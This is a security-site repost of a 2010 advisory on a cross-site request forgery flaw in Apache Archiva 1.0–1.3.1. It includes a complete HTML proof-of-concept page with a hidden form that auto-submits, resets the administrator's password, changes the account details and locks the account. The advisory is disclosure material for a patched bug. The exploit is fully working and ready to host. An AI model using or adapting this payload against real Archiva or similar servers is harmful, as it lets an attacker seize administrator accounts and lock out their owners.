首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Apache Archiva 1.0 - 1.3.1 CSRF Vulnerability
来源:elite.anatoliasecurity.com 作者:Eliteman 发布时间:2010-12-10  
### ADVISORY INFO ###
+ Title: Apache Archiva Cross-site Request Forgery Vulnerability
+ Advisory URL: http://www.anatoliasecurity.com/adv/as-adv-2010-001.txt
+ Advisory ID:  2010-001
+ Versions: Archiva 1.0 to 1.3.1
+ Date: 29/09/2010
+ CVE-ID: CVE-2010-3449
+ Vendor: The Apache Software Foundation
+ Impact: Gaining Administrator Privileges
+ CWE-ID: 352
+ Credit: Anatolia Security
+ References: http://archiva.apache.org/security.html


### VULNERABLE PRODUCT ###
+ Apache Archiva: "Apache Archiva is an extensible repository management software that helps taking care of your
own personal or enterprise-wide build artifact repository. It is the perfect companion for build tools such as
Maven, Continuum, and ANT. Archiva offers several capabilities, amongst which remote repository proxying, security
access management, build artifact storage, delivery, browsing, indexing and usage reporting, extensible scanning
functionality... and many more!"
+ Homepage: http://archiva.apache.org



### VULNERABILITY DETAILS ###
+ Description: Apache Archiva affects from Cross-site Request Forgery. Application don't check which form sends
credentials. Technically, attacker can create a specially crafted page and force archiva administrators to view it
and change their credentials. For prevention from CSRF vulnerabilities, application needs anti-csrf token, captcha
and asking old password for action like change password. Vulnerability patched by the Apache Archiva Team.

+ Exploit/POC: http://www.anatoliasecurity.com/exploits/archiva-csrf-poc.txt

<!--

-*-*- ANATOLIA SECURITY (c) 2010 -*-*-

$ Title: Proof of Concept Code for Apache Archiva CSRF
$ ADV-ID: 2010-001
$ ADV-URL: http://www.anatoliasecurity.com/adv/as-adv-2010-001.txt
$ Technical Details: http://www.anatoliasecurity.com

* PoC created by Eliteman
~ mail: eliteman [~AT~] anatoliasecurity [~DOT~] com
~ web: elite.anatoliasecurity.com

-->
<html>
<head>
<title> Apache Archiva CSRF PoC </title>
</head>
<body>
<form id="userEditForm" name="useredit" action="http://archiva:8080/archiva/security/useredit.action" method="post">
  <input type="hidden" name="user.username" value="admin" id="userEditForm_user_username"/>
  <input type="hidden" name="user.fullName" value="OWNED0DAY" id="userEditForm_user_fullName"/>
  <input type="hidden" name="user.email" value="0day@zer0day.com" id="userEditForm_user_email"/>
  <input type="hidden" name="user.password" value="1337owned" id="userEditForm_user_password"/>
  <input type="hidden" name="user.confirmPassword" value="1337owned" id="userEditForm_user_confirmPassword"/>
  <input type="hidden" name="user.locked" value="true" id="userEditForm_user_locked"/>
  <input type="hidden" name="__checkbox_user.locked" value="true" />
  <input type="hidden" name="user.passwordChangeRequired" value="true" id="userEditForm_user_passwordChangeRequired"/>
  <input type="hidden" name="__checkbox_user.passwordChangeRequired" value="true" />
  <input type="hidden" name="username" value="admin" id="userEditForm_username"/>
  <input type="hidden" id="userEditForm__submit" name="method:submit" value="Update"/>
</form>
<script type="text/javascript">
  document.forms[0].submit();
</script>
</body>
</html>


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·VMware Tools update OS Command
·Create a New User with UID 0 -
·AJ Matrix DNA SQL INJECTION
·Abtp Portal Project 0.1.0 LFI
·RomPager 4.07 Denial Of Servic
·PHP 5.3.3 NumberFormatter::get
·Freefloat FTP Server Buffer Ov
·LiteSpeed Web Server 4.0.17 w/
·Internet Explorer 8 CSS Parser
·Exim 4.63 Remote Exploit
·FreeAmp 2.0.7 .m3u Buffer Over
·MODx Revolution CMS 2.0.4-pl2
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved